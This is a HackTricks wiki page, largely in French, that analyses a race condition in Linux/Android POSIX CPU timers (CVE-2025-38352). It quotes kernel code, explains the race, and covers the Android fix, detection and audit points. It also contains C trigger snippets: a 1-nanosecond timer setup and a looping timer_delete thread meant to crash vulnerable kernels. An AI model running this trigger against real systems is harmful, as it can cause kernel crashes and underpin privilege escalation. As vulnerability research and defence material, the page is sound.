POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Cette page documente une condition de course TOCTOU dans les POSIX CPU timers de Linux/Android qui peut corrompre l'Ă©tat d'un timer et provoquer un crash du kernel, et qui, dans certaines circonstances, peut ĂȘtre orientĂ©e vers une privilege escalation.
- Composant affecté: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Sensible Ă la configuration: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Récapitulatif rapide des internals (pertinent pour l'exploitation)
- Trois horloges CPU assurent la comptabilité des timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime seulement
- CPUCLOCK_SCHED: task_sched_runtime()
- La création d'un timer associe un timer à une task/pid et initialise les timerqueue nodes:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- L'armement insĂšre dans une timerqueue par base et peut mettre Ă jour le cache de la prochaine expiration :
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Le chemin rapide évite un traitement coûteux sauf si les expirations mises en cache indiquent un déclenchement possible :
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- L'expiration collecte les timers expirés, les marque comme déclenchés, les retire de la file d'attente; la livraison effective est différée :
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
Deux modes de traitement des expirations
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: l'expiration est différée via task_work sur la tùche cible
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: l'expiration est traitée directement dans le contexte IRQ
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
Dans le chemin de contexte IRQ, la liste de déclenchement est traitée en dehors de sighand
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
Cause racine : TOCTOU entre l'expiration en IRQ-time et la suppression concurrente lors de la sortie de la tùche Préconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK est désactivé (IRQ path in use)
- La tĂąche cible est en train de se terminer mais pas encore complĂštement reaped
- Un autre thread appelle simultanĂ©ment posix_cpu_timer_del() pour le mĂȘme timer
Séquence
- update_process_times() déclenche run_posix_cpu_timers() en contexte IRQ pour la tùche en cours de sortie.
- collect_timerqueue() met ctmr->firing = 1 et déplace le timer dans la liste temporaire de firing.
- handle_posix_cpu_timers() libÚre sighand via unlock_task_sighand() pour délivrer les timers hors du lock.
- ImmĂ©diatement aprĂšs le unlock, la tĂąche en sortie peut ĂȘtre reaped ; un thread sibling exĂ©cute posix_cpu_timer_del().
- Dans cette fenĂȘtre, posix_cpu_timer_del() peut Ă©chouer Ă acquĂ©rir l'Ă©tat via cpu_timer_task_rcu()/lock_task_sighand() et ainsi sauter le garde normal in-flight qui vĂ©rifie timer->it.cpu.firing. La suppression se poursuit comme si le timer n'Ă©tait pas firing, corrompant l'Ă©tat pendant que l'expiration est traitĂ©e, menant Ă des plantages/UB.
Pourquoi le mode TASK_WORK est sûr par conception
- Avec CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, l'expiration est différée à task_work ; exit_task_work s'exécute avant exit_notify, donc le chevauchement IRQ-time avec le reaping ne se produit pas.
- MĂȘme alors, si la tĂąche est dĂ©jĂ en cours de sortie, task_work_add() Ă©choue ; le gating sur exit_state rend les deux modes cohĂ©rents.
Correctif (noyau Android commun) et justification
- Ajouter un early return si la tĂąche courante est en train de se terminer, gating tout le traitement :
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- Cela empĂȘche d'entrer dans handle_posix_cpu_timers() pour les tĂąches en cours de sortie, Ă©liminant la fenĂȘtre oĂč posix_cpu_timer_del() pourrait manquer it.cpu.firing et entrer en concurrence avec le traitement d'expiration.
Impact
- La corruption mémoire du kernel des structures de timer lors d'expiration/suppression concurrentes peut provoquer des crashs immédiats (DoS) et constitue un puissant primitive pour l'escalade de privilÚges en raison des opportunités de manipulation arbitraire de l'état du kernel.
Triggering the bug (safe, reproducible conditions) Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
Runtime strategy
- Ciblez un thread sur le point de quitter et attachez-lui un CPU timer (horloge par thread ou par processus) :
- Pour un timer par thread : timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- Pour une horloge par processus : timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Armez avec une expiration initiale trÚs courte et un petit intervalle pour maximiser les entrées dans le chemin IRQ :
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- Depuis un thread frĂšre, supprimer simultanĂ©ment le mĂȘme timer pendant que le thread cible se termine :
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- Race amplifiers: taux de tick du scheduler Ă©levĂ©, charge CPU, cycles rĂ©pĂ©tĂ©s d'arrĂȘt/re-crĂ©ation de threads. Le crash se manifeste typiquement lorsque posix_cpu_timer_del() omet de remarquer le firing Ă cause d'un Ă©chec de lookup/lock de la task juste aprĂšs unlock_task_sighand().
Detection and hardening
- Mitigation: apply the exit_state guard ; préférer activer CONFIG_POSIX_CPU_TIMERS_TASK_WORK quand c'est possible.
- Observability: ajouter des tracepoints/WARN_ONCE autour de unlock_task_sighand()/posix_cpu_timer_del() ; alerter quand it.cpu.firing==1 est observé conjointement à un échec de cpu_timer_task_rcu()/lock_task_sighand() ; surveiller les incohérences du timerqueue autour de la sortie de la task.
Audit hotspots (for reviewers)
- update_process_times() â run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Notes for exploitation research
- Le comportement divulgué est une primitive fiable de crash du kernel ; la transformer en élévation de privilÚges nécessite typiquement un recouvrement supplémentaire contrÎlable (durée de vie d'objet ou influence write-what-where) hors du périmÚtre de ce résumé. Traitez tout PoC comme potentiellement déstabilisant et exécutez-le uniquement dans des émulateurs/VMs.
References
- Race Against Time in the Kernelâs Clockwork (StreyPaws)
- Android security bulletin â September 2025
- Android common kernel patch commit 157f357d50b5âŠ
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks